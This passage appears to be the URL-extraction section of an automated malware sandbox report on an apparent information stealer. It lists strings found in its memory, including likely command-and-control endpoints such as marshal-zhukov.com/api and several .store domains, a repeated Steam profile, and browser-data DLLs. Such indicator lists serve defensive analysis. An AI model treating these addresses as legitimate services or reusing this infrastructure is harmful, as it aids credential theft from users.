Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/api
Source: chromecache_487.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_487.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_487.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_487.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apiiF
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 1017b01294.exe, 00000022.00000003.2491577614.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2478197514.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2492647834.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.000000000090C000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008AA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/6Y?:8
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/=
Source: 1017b01294.exe, 00000026.00000002.2515623156.000000000085B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/F~R
Source: 1017b01294.exe, 00000022.00000003.2491577614.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2478065607.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438358979.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2492647834.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2432568063.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2433386282.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2491386394.00000000056D6000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008AA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api%G
Source: 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api(
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api)w
Source: 1017b01294.exe, 00000022.00000003.2491577614.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2492647834.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apih
Source: 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apirT
Source: 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/pW
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiiles/76561199724331900
Source: 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apim
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 1017b01294.exe, 00000022.00000003.2477771181.00000000056FA000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2476374058.00000000057D1000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2477847102.00000000056FD000.00000004.00000800.00020000.00000000.sdmp, Cookies.16.dr	String found in binary or memory: https://msn.comXID/
Source: 1017b01294.exe, 00000022.00000003.2477771181.00000000056FA000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2476374058.00000000057D1000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2477847102.00000000056FD000.00000004.00000800.00020000.00000000.sdmp, Cookies.16.dr	String found in binary or memory: https://msn.comXIDv10
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_487.10.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: chromecache_489.10.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_489.10.dr	String found in binary or memory: https://plus.googleapis.com
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apim
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 1017b01294.exe, 00000026.00000003.2488337976.0000000000895000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.0000000000895000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/api/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.com/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2
Source: 1017b01294.exe, 00000026.00000002.2515623156.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geon
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 1017b01294.exe, 00000026.00000003.2488337976.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.000000000088F000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a96
Source: 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.000000000088A000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 1017b01294.exe, 00000022.00000003.2494329841.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_489.10.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: content_new.js.14.dr, content.js.14.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1480252037.000000002327E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1579011520.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2401300315.0000000005717000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2438837520.0000000005739000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 0d23a4d0-9a30-47a0-b238-b4cd1141cb3f.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_489.10.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_489.10.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: chromecache_487.10.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_487.10.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_487.10.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2527541833.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, FBAKEHIEBKJJJJJKKKEG.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org
